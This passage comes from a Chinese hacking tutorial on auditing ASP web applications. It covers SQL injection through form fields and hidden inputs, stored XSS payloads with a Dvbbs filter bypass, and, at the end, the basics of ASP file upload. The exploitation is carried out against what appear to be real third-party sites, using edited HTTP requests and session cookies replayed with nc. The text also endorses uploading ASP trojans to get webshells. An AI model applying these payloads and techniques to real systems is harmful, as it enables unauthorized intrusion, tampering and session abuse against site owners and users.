          图 7-15 搜索网页中的文本输入框

          下面我们来看看上面的文本框中的数据是如何在服务器上处理的,核心的处理代码如下所示:

          set rsrg=server.CreateObject("adodb.recordset")

          sqlrg="SELECT admin FROM admin WHERE admin='"&Request.Form("Username")&"'"

          //获得我们输入的用户名,没有过滤就进行了查询数据库 rsrg.open sqlrg,conn,1,1

          IF not (rsrg.EOF AND rsrg.BOF) Then

          response.write "<script LANGUAGE='javascript'>alert('您的用户名已经有人注册,如果已是注册用户请先登陆!');history.go(-1);</script>"

          response.end end if

          rsrg.close

          set rsrg=nothing

          set rsreg=server.CreateObject("adodb.recordset") sqlreg="select * from admin"

          rsreg.open sqlreg,conn,1,3 rsreg.addnew

          rsreg("admin")=Request.Form("Username") //用户名没有过滤 rsreg("psw")=md5(Request.Form("Password")) //密码没有过滤 rsreg("sex")=Request.Form("sex")

          if Request.Form("qq")<>"" then rsreg("qq")=Request.Form("qq") end if

          rsreg("email")=Request.Form("email") //电子邮件没有过滤 rsreg("pinglunt")=0

          rsreg("score")=0 rsreg("dengji")=1 rsreg("dscore")=50 rsreg("logintime")=now()

          rsreg.update //上面的数据没有进行过滤就执行了更新操作 rsreg.close

          set rsreg=nothing

          在上面的代码中,我们输入的用户名首先要检查看是否已经在数据库存在了。所以要执行查询数据库操作,但是系统是这样处理的:

          sqlrg="SELECT admin FROM admin WHERE admin='"&Request.Form("Username")&"'"

          在用 Request.Form 获得我们输入的用户名后就直接放入到数据库中查询,所以只出现了严重的注入漏洞。比如我们输入 123 and user>0 就可以判断这个系统的后台用的是什么数据库。利用文本输入框来进行注入攻击和我们在 URL 中都是差不多的,用:关键字 and 注入攻击代码,就可以完成我们的注入漏洞攻击了。如 123 and 1=1、123 and 1=2 等等。

          其实,前面我们说的搜索型注入也是属于文本输入框注入的一种,他们唯一的区别是搜索型注入是模糊查询,我们需要用一些逻辑运算符和单引号闭合 SQL 语句,防止因为单引号不对称而出错。前面我们说的'or'='or'漏洞也是如此,'or'='or'中的单引号的目的也是为了闭合 SQL 语句,防止它出错。

          对于这样的文本输入框注入漏洞,我们同样也可以利用工具 NBSI 和 HDSI 进行注入,我们只需要得到这个文本输入框的完整 URL 就可以实现了。至于如何得到完整的 URL 地址,在上一节的搜索型注入漏洞中已经介绍的很详细了,这里的和上一节是完全一样的方法,所以这里就不在重复了。

          要查找一个系统中的文本框输入框的注入漏洞主要以下的几个步骤,这里给大家总结一下:

          ①、先查看网页(即系统架构后的客户端)中的源代码,搜索关键字“<input”。得到我们所要查找的输入框,记下他们每一个输入框的 name 属性的值。

          ②、利用已经得到的 name 属性的值,在系统的文件中(即 ASP 文件,服务端的)找到他们,看他们是如何被获得及处理的。如果没有过滤或者过滤不完全的话,就存在漏洞。

          ③、因为存在漏洞,所以我们就要进行攻击了。要进行攻击我们可以使用工具和手工。用手工进行注入的话使用这样的语句:“关键字 and 注入攻击代码”就可以了,和在 URL 中注入差不多,只是关键字要我们自己构造罢了;而使用工具注入自然方便,但是要得到完整的

          URL 地址是关键,上一节已经介绍了如何获得完整的 URL 地址。

        4. 隐藏域HIDDEN下的注入代码分析

在第 3 章中介绍 HTML 基础知识的时候,我就特别向大家提到了隐藏域 HIDDEN,详见

3.5.3 节。当时我就告诉大家,这个地方也是程序员容易忽视的一个地方,很容易出现安全问题。而本节我就是带领大家如何来探索它下面所暗藏的另一番天地。

在表单中,如果其输入<hidden>标记中的 Type 种类是 hidden 的话,那么这个提交框我们就看不到了,也就被隐藏起来了,而它变量的值也是通过隐藏式来提交完成的。对于隐藏域 HIDDEN 方面的漏洞,曾经 2s s pace Bl og 就出现过这类典型的漏洞,下面就让我们来看看它出现问题的代码吧,如下所示:

Dim comms_ID comms_ID=CheckStr(Request.QueryString("commID"))

//获得客户端输入的参数,并对它进行过滤了 If Not IsInteger(comms_ID) Then comms_ID=0

//用于验证 comms_ID 是否为数值,如果不是就将它的值设为 0

Set comm_Edit=Conn.Execute("SELECT * FROM blog_Comment WHERE comm_ID= "&comms_I D"")

//读取评论,如果评论不存在就退出 SQLQueryNums=SQLQuery+1

IF comm_Edit.EOF AND comm_Edit.BOF Then%>

<td class= "messagebox-title">评论不存在</td> Else

//如果存在,就对用户名称及全县进行判断

IF Not ((comm_Edit("comm_Author")=memName and CheckRights(memStatus, "Edit")>0) Or CheckRights(memStatus, "Edit")>1 Then%>

<td class= "messagebox-title">你无权进行此项操作</td> comm_Content=CheckStr(Request.Form("message")) comm_ID=Request.Form("comm_ID")

//获取comm_id 的值赋给comm_id,没有经过过滤 comm_Author=Request.Form("comm_Author")

Comm.exeCute("UPDATE blog_Comment Set log_ID='"&log_ID&"',comm_Content='"&comm_ content"',comm_DisSM="&comm_DisSM&",comm_DisUBB="&comm_DisUBB&",comm_DisIMG="&c omm_DisIMG&",comm_AutoURL="&comm_AutoURL&",comm_Hidden="&comm_Hidden&",comm_Hig hlight="&comm_Highlight&",comm_Hidden="&comm_Hidden&" WHERE comm_ID="&&comm_ID" ") //利用 comm_ID 作为条件实行 UPDATE 操作

不细心的朋友可能会说,上面已经对 comms_ID 进行验证了呀,如果不是数值就赋予其为 0,怎么会有漏洞呢?大家仔细对照一下,在第一个解释和倒数第二个解释中的两个变量,是不是有一些不一样呢?第一个解释 Request.QueryString 接收的参数是 commID;而倒数第二个解释中所接收的参数是 comm_ID,两个不是同一个变量啊。在第三行代码中我们验证的是 comms_ID,看着和倒数第二个解释中所接收的参数 comm_ID 是一样的,实际上确相差了一个字符。而 comm_ID 就顺利的进入了最后一行代码中,实行了 UPDATE 操作了。在前面也可以看到 comm_ID 并没有进行任何的过滤,所以这里就出现了漏洞拉。

那么参数 comm_ID 是如何提交的呢?其实它用的是隐藏方式,在 commedit.asp 中有这么一句:<input name="comm_ID" type="hidden" id="comm_ID7" value="<%=comm_Edit(" comm_ID")%>">。我们可以查看客户端的源代码,如图 7-16 所示。

image

图 7-16 查看参数 comm_ID

分析代码漏洞就是要这样,细心非常重要。上面的代码中的参数看上去都过滤,但是程序员确忘记了一个。目前国内大部分稍微好一点系统,对绝大多数参数是肯定过滤了的,我们要找的就是要从中找出一些被程序员忽略或者不小心忘记过滤的参数。下面我们来简单测试一下这个漏洞。

因为上面的代码是用于更新评论,也就是说我们可以对自己的评论进行修改,而就是在这个修改的过程中出现了漏洞,首先我们在本地搭建好环境或者在网络上找到使用这个系统的网站来,这里我用 www.gxllb.com 这个网站来做试验,然后随便进入一个日志下发表评论,在发表的同时,钩选“同时注册”,如图 7-17 所示。这样我们发表评论的同时也会注册

一个用户,发表成功以后,回到改评论所在的日志页,如图 7-18 所示。

image

图 7-17 添加评论并同时注册

image

图 7-18 编辑评论

其中有一个类似于铅笔头的图标(我已经在图 7-18 中标记了)就是进入 commedit.asp的,打开它我们就可以对进入“编辑评论”的窗口了。为了详细了解数据的提交过程,我们打开 WinSock Expert,选择“编辑评论”页进行监听,如图 7-19 所示。

image

图 7-19 选择要监听的进程

这里我们把原来的内容 123 改成 zyh,提交之后就可以看到 WinSock Expert 的内容: POST /blog/commedit.asp?action=postedit HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Referer: http://www.gxllb.com/blog/commedit.asp?commID=7 Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.gxllb.com

Content-Length: 66 Connection: Keep-Alive Cache-Control: no-cache

Cookie: ASPSESSIONIDSSBTBBQS=JHLHLNHBJMCBCANJKELBJCEO;

Mysitwe2=memPassword=4297F44B13955235245B2497399D7A93&memName=123; ASPSESSIONIDSSBQDBSQ=HLDLPOHBGKDICPILFMCCJHCN

ID=1&comm_Author=123&comm_AutoURL=1&message=zyh&comm_ID=7&log_ID=1

注意看抓取到的数据的最后一行,我们可以看到 message=zyh 也就是把我们原来的内容 123 改成了 zyh。而参数 comm_ID=7 则就是该系统没有被过滤掉的参数,利用它我们就可以来进行注入攻击了。我们将 comm_ID=7 改为 comm_ID=7+and+1=1,其中空格我们可以用+代替,这点大家要记住了哦。

修改了上面的数据之后,我们把它保存为 1.txt 文件。接下来就是要把这些数据提交到服务器了。这个时候给大家推荐一个工具,那就是非常经典的黑客工具瑞士军刀 NC,如

图 7-20 所示。

image

图 7-20 NC 的使用帮助

利用它我们就可以把数据提交到服务器上去了,把它数据提交到服务器上我们需要使用到这个语法:nc –v 网址 80<需要提交的文件,比如 nc –v www.sina.com 80<d.txt,那么就会将 d.txt 中的内容提交到 sina 的服务器上去了。而上面的这个漏洞,我们只需要提交nc –v www.gxllb.com 80<d.txt 就可以把我们修改后的数据提交到网站服务器上去了,如图 7-21。提交之后我们刷新一下当前的日志页,评论内容变成了 zyh,说明 1=1 测试成功,如图 7-22 所示。

image

图 7-21 利用 nc 提交数据

image

图 7-22 123 被修改为 zyh,1=1 测试成功

而如果我们把 comm_ID 的值改为“7+and+1=2”,那么评论就不会被修改了,因为执行之后整条语句变为了假,所以不执行 update 操作。对于这个漏洞其实利用过程是比较麻烦

的。不过思路是这样的:首先抓包,修改数据,修改数据的时候要注意,空格我们全部用+代替,其他的就和我们在 URL 下注入是一样的了。只不过每次攻击都要抓包及提交数据,稍微麻烦一点,但这也是常见的攻击手段之一。

前面讲的几种注入漏洞参数的寻找方法,大部分都是基于<input>标记的。之所以用它来作为例子,是因为程序员在写程序的时候最容易忘记的就是那些参数。不过很多程序员都对<input>标记中的长度做了限制,利用 maxlength 属性可以实现,如 maxlength="10"的时候,就最多允许我们输入 10 个字符,如果仅仅是输入 10 个字符的话,那肯定攻击不了。所以这个时候我们要破解它的长度限制,首先将网页保存在本地,然后查看当前的源代码,搜索关键字 maxlength 就可以找到这个限制的地方了,比如我们把它的值修改成

maxlength="10000",不过有一点要千万注意,就是包含这个<input>的标记的表单,它的

action 属性我们要把他改成绝对路径,即网址的全称,因为在没有保存的情况下是属于相对路径,而我们保存之后就要把 action 的值改成绝对路径了。如图 7-23 所示。

image

图 7-23 破解输入长度限制

前面的隐藏域,其实要攻击它还有一个好办法,首先将网页保存在本地,然后查看源代码。因为它是隐藏的属性 hidden 所以我们看不到,如果我们把它的 type 属性改成了 text呢,那么不就可以看到它了,如图 7-24,同时把表单 action 值改成绝对路径,那么它现在就和前面所讲的文本输入框的攻击方法是一样的了。

对于注入漏洞的代码分析,我也就讲上面几种程序员最容易重视和忽视的了。其实大家看完了上面的就应该可以知道,虽然上面注入攻击的方法比较多,但总的来说,我们只要掌握了手工注入的方法,加上适度的变化,就可以以不变应万变了。

image

图 7-24 改为 text 后就可以看见输入框了

而对于寻找系统中的注入漏洞,就是要看程序员对哪些参数没有过滤,2s-space Bolg这个例子大家也可以看到,在安全性比较高的系统中,大部分参数都已经过滤,只有那些小

系统才会有很多明显的参数未过滤。当然不管它是安全性高也好安全性低也罢,我们都是要找未过滤的参数。这里教给大家一个好方法,用于寻找系统中的参数特别有效。有了前面分析代码的经验,可以看出,要发生注入漏洞都要执行相应的 SQL 语句,只所以发生注入就是因为在 SQL 语句中的参数未过滤就执行了,所以寻找注入漏洞的一个好方法是首先得到 SQL语句中的参数名称,特别是在 where 后的条件参数。在得到他们的名称以后,我们就逆向的分析,看这个参数是怎么样得到的,是否过滤了等等。通过 SQL 语句中的每一个参数逆向分析它是怎么得到的,这样几乎每一个参数都不会被遗漏。这个方法虽然比较笨,但准确率比较高。

    1. 脚本跨站漏洞(XSS)

      第二章和第四章中已经为大家介绍了跨站漏洞了,特别是在第 4 章中,已经给大家介绍了跨站脚本漏洞的成因及其各种利用过程和方法。我们也知道跨站主要分为自己构造

      HTML 标签和利用系统提供的标签这两大类,而本节就从这两个角度上通过对代码的分析,看这些漏洞是如何形成的。

      1. 构造HTML标记的跨站漏洞代码分析

        我们自己通过自己构造 HTML 标记来实施跨站,是最为常见和普通的跨站方法。之所以会出现是系统没有转换如<、>等标记,而让这些具有特定功能的标签进入了数据库中,从而使得代码执行了,最后发生安全问题。发生这个用户自己构造 HTML 标记的跨站本质上就是系统没有检查我们输入的数据中到底含有什么字符,那么这方面典型的代码有,如下所示: Dim gb_Content,gb_Title,gb_memName,gb_IsPublic,gb_qq,gb_email,gb_url,gb_face

        gb _Content=CheckStr(Request.Form("message"))

        //输入的消息过滤已经被转换了

        g b_memName=CheckStr(Request.Form("gb_memName"))

        //输入的用户名被转换了

        gb _IsPublic=Request.Form("gb_IsPublic")

        //信息未过滤,但是并没有放到数据库中 gb _qq=Request.Form("gb_qq")

        //获得我们输入的 QQ 号码

        gb _email=Request.Form("gb_email")

        //获得我们输入的电子邮件地址,未过滤 gb _url=Request.Form("gb_url")

        //获得我们输入的个人主页地址,也没有过滤 gb _face=Request.Form("gb_face")

        ......................................省略代码

        Conn.ExeCute("INSERT INTO blog_Member (mem_Name,mem_Password,mem_LastIP,mem_email,mem_qq,mem_homepage) VALUES ('"&gb_memName&"','"&gb_memPassword&"','"&Guest_IP&"','"&gb_email&"','"&gb_qq&"','" &gb_url&"')")

        大家可以在看一下最后的 INSERT 语句,变量 gb_email、gb_url 没有经过任何的过滤就执行 INSERT 语句了,最为明显的跨站了,我们在里面输入跨站代码<script>alert("曾云好

        ")</script>,之后没有发生跨站,查看一下返回的源代码,如下所示:

        <a href="mailto:<script>alert("曾云好")</script>">

        <img border= 0 src= "images/email.gif" alt="发邮件给<b>曾云好</b>">

        </a>&nbsp;&nbsp;<a t arget='_blank' href= "<script>alert("曾云好")</script>">

        <img bord er= 0sr c="images/url.gif" alt= "访问<b>曾云好</b>的主页"></a>&nbsp;&nbsp;<a

        target='_blank' href= "http://friend.qq.com/cgi-bin/friend/user_show_info?ln= 353454354">

        <img bo rder= 0src= "images/oicq.gif" alt="察看 <b> 曾云好</b> 的息"></a>&nbsp;&nbsp;< br>

        </div><div cl ass="content_main" sty le= "font-size:11px;">直接输入的跨站代码

        </div></div><SCRIPT>load('24')</SCRIPT><br/><span class="smalltxt"></span><br/>

        可以很清楚的看到我们的跨站代码被无情的给闭和,那接下来我们就来进行突破。输入邮件的代码是<a href = "mailto:<script>alert(" 曾云好")</script>"> ,那么我们可以输入

        "><script>alert("曾云好")</script><来突破。而个人主页那里也是一样,输入同样的代码,如图 7-25 和图 7-26 所示,我们就成功的进行了跨站攻击。

        image

        图 7-25 输入的重新改变的跨站代码

        image

        图 7-26 跨站成功

        对于上面的代码是因为没有转换或检查我们输入的数据而导致的,但是还有一个条件就是我们输入的数据要进入数据库中去。所以要执行插入或者更新即 INSERT 或UPDATE 才可以进入数据库中。所以对于我们输入 HTML 的跨站,一要为转换我们输入的标记;二要我们输入的数据必须进入数据库,即执行 INSERT 或UPDATE 操作。只要符合这两个条件就会发生跨站。

      2. 利用系统提供的HTML标记的跨站

如果转换了一些跨站必须要用到的字符,如<、>等。那么我们通过自己构造标签来进行跨站攻击变的是不可能了。但是我们仍然可以跨站,即利用系统系统已经提供的标签来绕过系统对这些标签的转换,如<img>等。在利用这些标签的属性及事件机制,我们给他们赋予具有一定功能的值,那么同样可以达到我们跨站的目的,至于如果利用他们跨站在第 4

章的 4.7.2 节已经做了详细的介绍。在这方面头像跨站漏洞可谓是最为经典的了,其他的利用系统提供的 HTML 标签进行跨站和它的原理都差不多。

这里我就用动网的头像跨站漏洞的代码来分析这一方面的漏洞。在动网 7.1.0 版本中,文件 mymodify.asp 是用于资料修改用的,在这个文件中的对更新头像的代码处存在过滤不严的问题,部分代码如下所示:

Sub update() //用于头像的更新

If Request.Form("myface") <> "" And ((Clng(Dvbbs.Forum_Setting(54)) > 0 And Not Mypost < Clng(Dvbbs.Forum_Setting(54))) Or Clng(Dvbbs.Forum_Setting(54))=0) And Not InStr(LCase(Request.Form("myface")),".asp")>0 Then

//第一步:作用是对是否符合自定义头像的条件进行验证。

If Request.Form("width")="" or Request.Form("height")="" Then

//第二步:验证我们提交的宽高值,如果是空就出现错语提示

…………略 //省略的代码 Else

If Cint(Dvbbs.Forum_Setting(55))=0 Then

//第三步:如果图片的宽高符合要求,那么就从后台设置中读取是否允许从其//他站点链接头像,0 为关闭,如设置的关闭则进行下面的验证。

If InStr(lcase(Request.Form("myface")),"http://")>0 or instr(lcase(Request.Form("myface")),"www.")>0 Then ErrCodes=ErrCodes+"<li>"+template.Strings(21)

End If End If

Face=Request.Form("myface")

//第四步:将 myface 的值赋予 face. width=Request.Form("width") //获得宽度 height=Request.Form("height") //获得高度 End If

Else

Dvbbs.Forum_userface = Split(Dvbbs.Forum_userface,"|||") If Request.Form("face")="" Then

//第五步:如果 myface 提交值为空,则把 Request.Form("face")的值赋予 face.

Face=Dvbbs.Forum_userface(0)&Dvbbs.Forum_userface(1) Else

Face=Request.Form("face") End If

End If face=Dv_FilterJS(Replace(face,"'",""))

//第六步:使用函数 Dv_FilterJS()和 Replace()对提交来的字符进行过滤 face=Replace(face,"..","")

face=Replace(face,"\","/")

face=Replace(face,"^","")

face=Replace(face,"#","")

face=Replace(face,"%","")

face=Replace(face,"|","") face=Left(face,200)

…………略

Rs("UserFace")=face //将过滤后的 face 写入数据库

我先对上面的“myface”和“face”变量说明一下,它们分别是动网的自定义头像

(myface)和论坛内置头像(face)。我们现在来整理一下上面的思路:第一步,如果提交来的自定义头像(myface)不为空,且用户发帖量达到程序设置的最少发帖数,还有就是提交的路径中没有“.asp”这个关键字,满足了这三个条件,程序就转入第二步,否则跳到第五步去执行。这里我假设条件满足,那么我们就进入第二步,对提交的图片宽高等数据进行验证,符合条件才可以进入第三步,在这一步内,先读取后台的设置,看系统是否关闭了“允许从其他站点链接头像”,如关闭,就执行下面的语句,验证数据的合法性。

当符合要求或开启“允许从其他站点链接头像”选项,就进行至第四步,在这一步中,将经过层层过滤后的“myface”值赋予“face”,然后转至第六步,用“Dv_FilterJS()”及

“Replace()”对“face”再进行过滤!这就是"myface"的提交过程。再来看“face”的提交过程,在前面也提到了,如果提交的“myface”为空或者用户所发帖量小于规定的数值或者自定义的头像名称中含有“asp”,程序就会自动跳至第五步,直接将 Request.Form("face")值赋予 face。这里内置头像的读取方法非常的简单。

无论是“myface”还是“face”,最后都要经过第六步“Dv_FilterJS()”及“Replace()”的过滤,虽然使用内置头像的 Request.Form("face")方法,可以提交一些特殊字符,所以要挖掘这个漏洞关键就在“Dv_FilterJS()”中,下面再着重分析一下“Dv_FilterJS()”是如何过滤的:

Function Dv_FilterJS(v) If Not Isnull(V) Then Dim t

Dim re

Dim reContent Set re=new RegExp

re.IgnoreCase =True re.Global=True

re.Pattern="(%)" //使用的是正则表达式 t=re.Replace(v,"<I>%</I>") //将字符%替换为<I>%</I>

re.Pattern="(&#)" t=re.Replace(v,"<I>&#</I>") re.Pattern="(script)"

t=re.Replace(t,"<I>script</I>") //将字符 script 替换为<I>script</I> re.Pattern="(js:)"

t=re.Replace(t,"<I>js:</I>") re.Pattern="(value)" t=re.Replace(t,"<I>value</I>") re.Pattern="(about:)" t=re.Replace(t,"<I>about:</I>") re.Pattern="(file:)" t=re.Replace(t,"<I>file:</I>") re.Pattern="(Document.cookie)" t=re.Replace(t,"<I>Documents.cookie</I>") re.Pattern="(vbs:)" t=re.Replace(t,"<I>vbs:</I>") re.Pattern="(on(mouse|Exit|error|click|key))" t=re.Replace(t,"<I>on$2</I>") Dv_FilterJS=Trim(t)

Set Re=Nothing End If

End Function

可以看到,上面的程序对跨站所用到的“script”、“js:”、“Document.cookie”、

“on(mouse|Exit|error|click|key)”、“&#”等字符都进行了过滤。而且在 Dv_FilterJS()后面又用“Replace()”对其没有过滤的“'”、“ ..”、“\”、“^”、“#”、“%”、“|”全部进行了替换。

我们在来整理一下它的过程:在第六步中,程序先用“Dv_FilterJS()”进行过滤,然后再用“Replace()”过滤,除了“face=Replace(face,"\","/")”这句外,其它的全是替换为空。如果我提交的“face”值是“javascript:”,在传递到 Dv_FilterJS()中时,因为有“script”字符,就会被替换成:“java<I>script</I>:”,但如果我提交的 face 值是: “javas|cript:”(在 script 中加了一个|字符),这样在交给 Dv_FilterJS()验证时,因为没有了和“ script” 匹配的字符, 也就安然无恙的进入到 Replace 流程内,当走到

“face=Replace(face,"|","")”时,因为其中包含了“|”字符,程序就会将其替换为空,那么,“face”再向下传递时,就变回了:“javascript:”,哈哈!跨站代码就这样绕过去了!

我们来测试一下这个漏洞看看,随便进入一个动网的论坛,申请一个账号。登陆后打开“用户控制面板”中的“基本资料修改”页,如图 7-27,在这里,能直接修改的内容是自定义头像(myface)值,而论坛内置头像(face)的值是隐藏在选择项内,所以要修改“face”值,就要采取抓包提交的方式。启动“Winsock Expert”,选择当前页,如图 7-28。

image

图 7-27 修改自己的资料

image

图 7-28 选择要监听的程序

然后点用户基本资料页中的“更新”按钮,在更新完成后,“Winsock Expert ”抓取到如下的提交数据:

POST /mymodify.asp?action=updat&username=757800 HTTP/1.1

…………

Referer: http://bbs.dvbbs.net/mymodify.asp

…………

Host: bbs.dvbbs.net

…………

Cookie: cnzz02=37; rtime=2; ltime=1150901590266; cnzz_eid=70332315-; DvForum=us ercookies=0&StatUserID=22221610207&username=flyyezi

……… title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fima ge1.gif&width=32&height=32&………

在前面的分析过程中已经告诉大家了,当“myface”为空或其他几个情况下,程序才会读取“face”提交值,所以此处一定要将“myface”的值改为空,而“face”就是我们存放代码的地方,先清除其原值:Images%2Fuserface%2Fimage1.gif,然后输入我们构造好的跨站代码。因为这里是头像变量引起的漏洞,所以这里我们可以借助<img>标签中的<、>来实现跨站。这里我们把 face 的值改成“javas|cript:alert("jm")”,因为代码过滤了单引号,所以此处使用的是双引号。修改完数据后,我们用 NC 提交数据。提交数据完成后,打开动网论坛的首页,在页面未打开之前,弹出了一个窗口,如图 7-29,呵呵!跨站代码执行成功!

image

图 7-29 跨站代码被成功执行

    1. ASP程序上传漏洞代码分析

      在第二章中,大家已经体会了上传漏洞给我们带来的成就感,利用它我们可以顺利上传一个 ASP 木马,一下就得到了网站的 webshell。这比起注入漏洞来说可是方便多了,所以这是一个非常严重的漏洞。

      现在差不多功能多一些的网站都提供了上传功能,而作为这样的功能我们自然不能放过了。这一节我将带领大家分析 ASP 程序中常见的上传漏洞代码的分析,不过在分析代码上传漏洞之前还是要学习一下 ASP 程序中上传文件的基础知识。因为在上一章并没有讲,等有了这个基础之后,那么分析上传漏洞就简单的多了。

      目前 ASP 的文件上传主要有两种方法来实现,一种是直接通过第 3 方组件来实现文件上传,而另一种是直接通过编码来实现。下面就简单为大家介绍这两种方法,可一定要认真呀,这是分析上传漏洞代码的基础哦!

      1. 有组件文件上传

        有组件上传,顾名思义就是通过第三方的组件来将客户端的文件上传到服务器端。有组件上传,使用比较简单,只需要购买或者下载第三方组件,在本地机器上注册后,就可以直接使用了。和上一章中 ASP 内置组件使用基本一致,我们要掌握它的属性和方法。

        目前使用最多的文件上传组件是 LyfUpload 组件,下面对其进行简单的介绍。目前使用的都是 1.2 版,即 LyfUpload1.2。它是一个免费的 ASP 组件,它可以在 ASP 页面中接收客户端浏览器使用 encType="multipart/form"的 Form 上传的文件。LyfUpload1.2 支持单文件上传、多文件上传、限制文件大小上传、限制某一类型文件上传、文件上传到数据库、数据库中读取文件及文件上传重命名等功能。

        (1)、LyfUpload 的方法

        LyfUpload1.2 组件提供了 4 个方法处理文件上传:Request、FileType、SavaFile、

        SavaFileToDb,下面详细的来介绍这些方法。

        ①、Request 方法得到上一个页面中表单元素的值,方法的声明为: Public Function Request(name As String)

        参数 Form 中的元素 name 返回值为字符串类型的元素值。

        ②、FileType 方法得到上传文件的 Content-Type,即文件类型,如 jpg、gif 等等。FileType方法的声明:

        Public Function FileType(strTag As String)

        参数 strTag 为 Form 中文件元素的名字,如"File1";返回值:如果文件上传成功,返回文件的 Content-Type,如果上传不成功,返回空字符串""。

        ③、SaveFile 方法上传客户端选择的文件到指定目录中。SaveFile 方法的声明如下: SaveFile(strTag As String,strPath As String,strway As boolean,[Optional]DestFileName As String) As String

        参数 strTag 为 Form 中文件元素的名字,如"File1";参数 strPath 为文件保存在服务器上的目录;参数 strway 为上传文件方式,覆盖方式上传为 true,不覆盖上传为 false;参数

        DestFileName 为可选,代表文件上传后重命名保存的名字;返回值:成功,返回上传的文件的名字;如果上传失败,返回空字符串"";如果上传文件的大小太大,返回为"0"(当设置了 MaxSize 属性时有效);如果上传文件后缀名不对,返回为"1"(当设置了 extName 属性时有效);如果上传文件同服务器上已有文件相同,返回为"2"(当设置了参数 strway 为false时有效)。

        ④、SavaFileToDb 方法上传各类文件到数据库中(同 savefile 方法不同的是,直接保存文件到数据库中而不保存为磁盘文件)。SavaFileToDb 方法的声明:

        SavaFileToDb(strTag As String) As String

        参数 strTag 为 Form 中文件元素的名字,如"File1";返回值:成功,返回上传文件的名字;如果上传失败,返回字符串"";如果上传文件的大小太大,返回值为"0"(当设置了

        MaxSize 属性时有效);如果上传文件后缀不对,返回为"1"(当设置了 extName 属性时有效)。

        About 方法显示 LyfUpload 组件的作者及版本号信息。

        (2) 、 LyfUpload 的 属 性 LyfUpload1.2 提 供 了 4 个 属 性 :ExtName 、 MaxSize 、 FileSize 、 DBContent 。

        ①、ExtName 属性为上传的扩展名,即限制上传文件的类型。限制只能上传 gif,可以设置为 extname= "gif"。当设置多种类型时用逗号隔开,如 extname= "gif,jpg,bmp"。

        ②、MaxSize 属性上传文件的大小;如 MaxSize=2048 将限制上穿的最大文件为 2048 字节,

        即 2K。

        ③、FileSize 属性返回上传文件的大小,是一个只读属性。

        ④、DBContent 属性返回得到上传文件的二进制流内容,不能直接读取,用于上传文件到数据库中,如 rs("pic").AppendChunk obj.DBContent。

        由于 LyfUpload 是组件是第三方组件,因此在使用之前必须在本地机器上注册该控件,注册控件的方法如下所示:

        1、 进入菜单【开始】——>【运行】,弹出如图 7-30 所示的界面。

        image

        图 7-30 注册对话框

        在图 7-30 中输入“regsvr32 D:\LyfUpload.dll”。其中 D:\LyfUpload.dll 就是 LyfUpload组件所在完整路径。

        2、 然后单击【确定】按钮,弹出如图 7-31 所示的注册成功对话框。其中“regsvr32”是注册组件的命令,而后面就是跟着的是被注册 的控件的路径。

        image

        图 7-31 注册成功

        下面我举个例子来演示如何利用 LyfUpload 组件将文件上传到服务器中,这个例子由两个文件组成,文件名分别为 LyfUpload.html 和 LyfUpload.asp。

        其中 LyfUpload.html 主要为客户端表单,让用户选择需要上传的图片; 而 LyfUpload.asp 是服务器端处理文件,用于获取客户端传递过来的文件,并保存到指定目录,如果是如片文件则发送到客户端显示出来。需要注意的是上传到服务器的目录必须要先创建。

        LyfUpload.html 文件的代码如下所示:

        <html>

        <head>

        <meta http-equiv="Content-Language" content="zh-cn">

        <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

        <title>文件上传表单</title>

        </head>

        <body>

        <p>请选择需要上传的文件:</p>

        <form method="POST" enctype="multipart/form-data" action="LyfUpload.asp">

        <p>请输入上传文件名:</p>

        <p><input name="File_Name" size="33"></p>

        <p>请选择需要上传的文件路径:</p>

        <p><input type="file" name="File_Upload" size="33"></p>

        <p><input type="submit" value="提交" name="B1"><input type="reset" value="重置"

        name="B2"></p>

        </form>

        </body>

        </html>

        用 LyfUpload 组件上传时,要记住在表单 form 标记中要使用 enctype 属性,其值为 multipart/form-data , 如 <form method="POST" enctype="multipart/form-data"

        action="LyfUpload.asp">。LyfUpload.html 文件执行的结果如图 7-32 所示。

        image

        图 7-32 LyfUpload.html 文件执行的结果

        在以上文件名文本框中输入上传到服务器后的文件名,然后单击【浏览】按钮,选择需要上传的文件。LyfUpload.asp 文件的代码如下所示:

        <%@Language=VBScript CODEPAGE="936"%>

        <html>

        <head>

        <meta http-equiv="Content-Type" content="text/html; charset=gb2312">

        <title>新建网页 1</title>

        </head>

        <%

        '设定服务器上保存文件的目录路径 path="c:\temp" '读者可以自己随便设置

        '创建该组件

        Set obj = Server.CreateObject("LyfUpload.UploadFile")

        '获取上传文件的文件名 varfname=obj.request("File_Name")

        '保存文件到服务器

        RetVal=obj.SaveFile("File_Upload", path, false,varfname)

        '获取上传文件的扩展名 extName=obj.filetype("File_Upload") if RetVal="3" then

        Response.Write "此文件在服务器上已经存在!不能覆盖!" elseif RetVal<> "" then

        Response.Write "你的文件已经被上传到服务器的" & path & varfname & "!<br>"

        Response.Write("上传的文件名称为:" & RetVal) Response.Write("<br>文件类型 Content-Type:" & extName) Response.Write("<br>你上传的文件大小为:" & obj.FileSize)

        end if

        set obj=nothing

        %>

        <body>

        </body>

        </html>

        LyfUpload.asp 文件执行后的结果如图 7-33 所示。

        image

        图 7-33 LyfUpload.asp 文件执行后的结果

        此时,我们打开文件夹“c:\upload”,可以发现已经被上传成功了,如图 7-34 所示。

        image

        图 7-34 上传后的文件

      2. 无组件文件上传

        虽然使用组件实现文件上传很方便,但是仍然有很多 ASP 系统采用的是无组件上传方

        式。其中有一个主要原因是目前很多网站采用的是虚拟主机,电信是不允许他们注册第三方组件的,所以他们要实现上传功能就只有使用无组件上传方式了。虽然能够实现无组件文件上传,但是由于无组件上传是通过未编译的脚本语言实现的,因此它的执行速度比较慢,适合传送一些数据量比较小的文件。

        第三方组件能够实现文件上传,无非就是将客户端传送到服务器端的数据进行加工处理,然后保存到服务器或数据库中。因为浏览器向服务器发送客户端数据的时候,总是有一定格式的,只要搞清楚了这些数据的基本格式,就很容易通过 ASP 实现无组件上传了。

